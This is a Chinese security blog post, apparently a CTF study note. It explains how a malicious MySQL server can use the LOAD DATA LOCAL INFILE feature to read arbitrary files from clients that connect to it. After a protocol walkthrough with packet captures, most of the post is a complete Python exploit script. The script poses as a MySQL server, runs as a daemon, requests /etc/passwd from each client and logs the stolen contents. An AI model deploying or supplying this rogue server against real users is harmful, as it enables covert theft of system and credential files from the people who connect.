利用mysql local infile读取客户端文件

admin 2024年8月18日00:55:25评论9 views字数 6342阅读21分8秒阅读模式

这个利用点是之前补hgame的题看到的一个考点,记录一下

MySQL LOAD DATA INFILE简介

先看一张官方文档的图
利用mysql local infile读取客户端文件
可以看到,握手阶段中会:

1
2
3
4
客户端和用户端交换各自功能
根据需要创建SSL通道
接收客户端的回应
验证客户端身份进行通信

我们在linux里面tcpdump一下抓取数据包tcpdump -i lo -w mysql.pcap port 3306,然后连接mysql看下数据包
利用mysql local infile读取客户端文件
可以看到登录的数据包里面有个Can Use LOAD DATA LOCAL开启了,只要开启了这个,就可以将运行mysql客户端的主机的文件传输到远程服务器中
load data infile这个命令里主要是将读到的文件的内容放进表中

1
2
load data infile '/etc/passwd' into table test;
load data local infile '/etc/passwd' into table test;

两个语句的差别就是第二个读取的是客户端的文件并放入表中,那么问题来了,如果我们可以弄个恶意的mysql服务器,那么是不是就可以将连接到这个服务器的客户端的敏感文件都读出来
想要伪造mysql服务端,首先我们先要了解他们之间的通信是怎样的

mysql通信步骤

继续是在linux里面抓包,把流量包拿下来分析
可以看到,首先是greeting包,这是第一个步骤
利用mysql local infile读取客户端文件
接下来是login包
利用mysql local infile读取客户端文件
然后就是一些初始化查询
利用mysql local infile读取客户端文件
接下来就是用户的查询,这里我查询的是load data local infile这个语句,请求访问客户端的/etc/passwd文件
利用mysql local infile读取客户端文件
然后服务端又返回了一个/etc/passwd的流量包
利用mysql local infile读取客户端文件
这个时候客户端发回来的就是/etc/passwd文件的内容了
利用mysql local infile读取客户端文件
好了,到了这里我们大概有点思路了,如果我们改了服务端返回的数据包,要求请求其他文件,客户端是不是会继续发过来呢,幸运的是,确实是这样的
利用mysql local infile读取客户端文件
客户端并没有记住自己上次请求的文件究竟是什么,他只是根据服务端要求传输文件,简单来说就是
利用mysql local infile读取客户端文件
可以看到,无论服务端说什么,客户端都是会执行的,好的,现在还有一个问题,就是我不一定每次都能等到客户端向我发出文件请求,看回上面的安全文档,可以看到后面还有一句,就是服务端可以在任何语句后面回复一句文件传输要求,同时我们还记得,在mysql连接的时候,客户端是会先来一句初始化的查询去探测指纹信息的,因此,我们可以直接利用了

恶意mysql服务端伪造

现在我们需要做的就是制作恶意的服务端,完成下面几个步骤:

1
2
3
向mysql client发送server greeting
等待client发送一个query
然后回复一个file tranfer请求

这样我们就可以看到拿到任意的文件了
exp如下(改动github上面的脚本)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
#!/usr/bin/env python
#coding: utf8
import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers

PORT = 3306

log = logging.getLogger(__name__)

log.setLevel(logging.DEBUG)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)

filelist = (
'/etc/passwd'
)

#================================================
#=======No need to change after this lines=======
#================================================

__author__ = 'Gifts'

def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return
if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)

class LastPacket(Exception):
pass

class OutOfOrder(Exception):
pass

class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload

def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
result = "{0}{1}".format(
header,
self.payload
)
return result

def __repr__(self):
return repr(str(self))
@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]
return mysql_packet(packet_num, payload)
class http_request_handler(asynchat.async_chat):
def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a', # Protocol
'5.7.23-0ubuntu0.16.04.1' + '\00', # Version
#'5.1.66-0+squeeze1' + '\0',
'\x31\x00\x00\x00', # Thread ID
'\x0b\x05\x32\x62\x1a\x6b\x4e\x3c' + '\00', # Salt
'\xff\xf7', # Capabilities
'\x08', # Collation
'\x02\x00\xff\x81\x15', # Server Status
'\00' * 10, # Unknown
'\x75\x41\x1f\x0e\x5d\x22\x3e\x05\x21\x56\x14\x5d' + '\00',
"mysql_native_password" + '\x00'
))
)
)
self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']

def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)

def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)

def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []
if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
log.info('Query')
filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'\xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == '\x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in '\x02':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)

if len(data) == 1:
self.push(
mysql_packet(packet, '\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1
elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()

class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)
if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()
self.listen(5)

def handle_accept(self):
pair = self.accept()
if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)
z = mysql_listener()
daemonize()
asyncore.loop()

利用mysql local infile读取客户端文件
这里有个坑点就是连接要以127.0.0.1去连接mysql,因为localhost是以socket连接的
到了这里我们就可以伪造mysql读取客户端任意文件了

FROM:Xi4or0uji

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月18日00:55:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用mysql local infile读取客户端文件https://cn-sec.com/archives/3074812.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息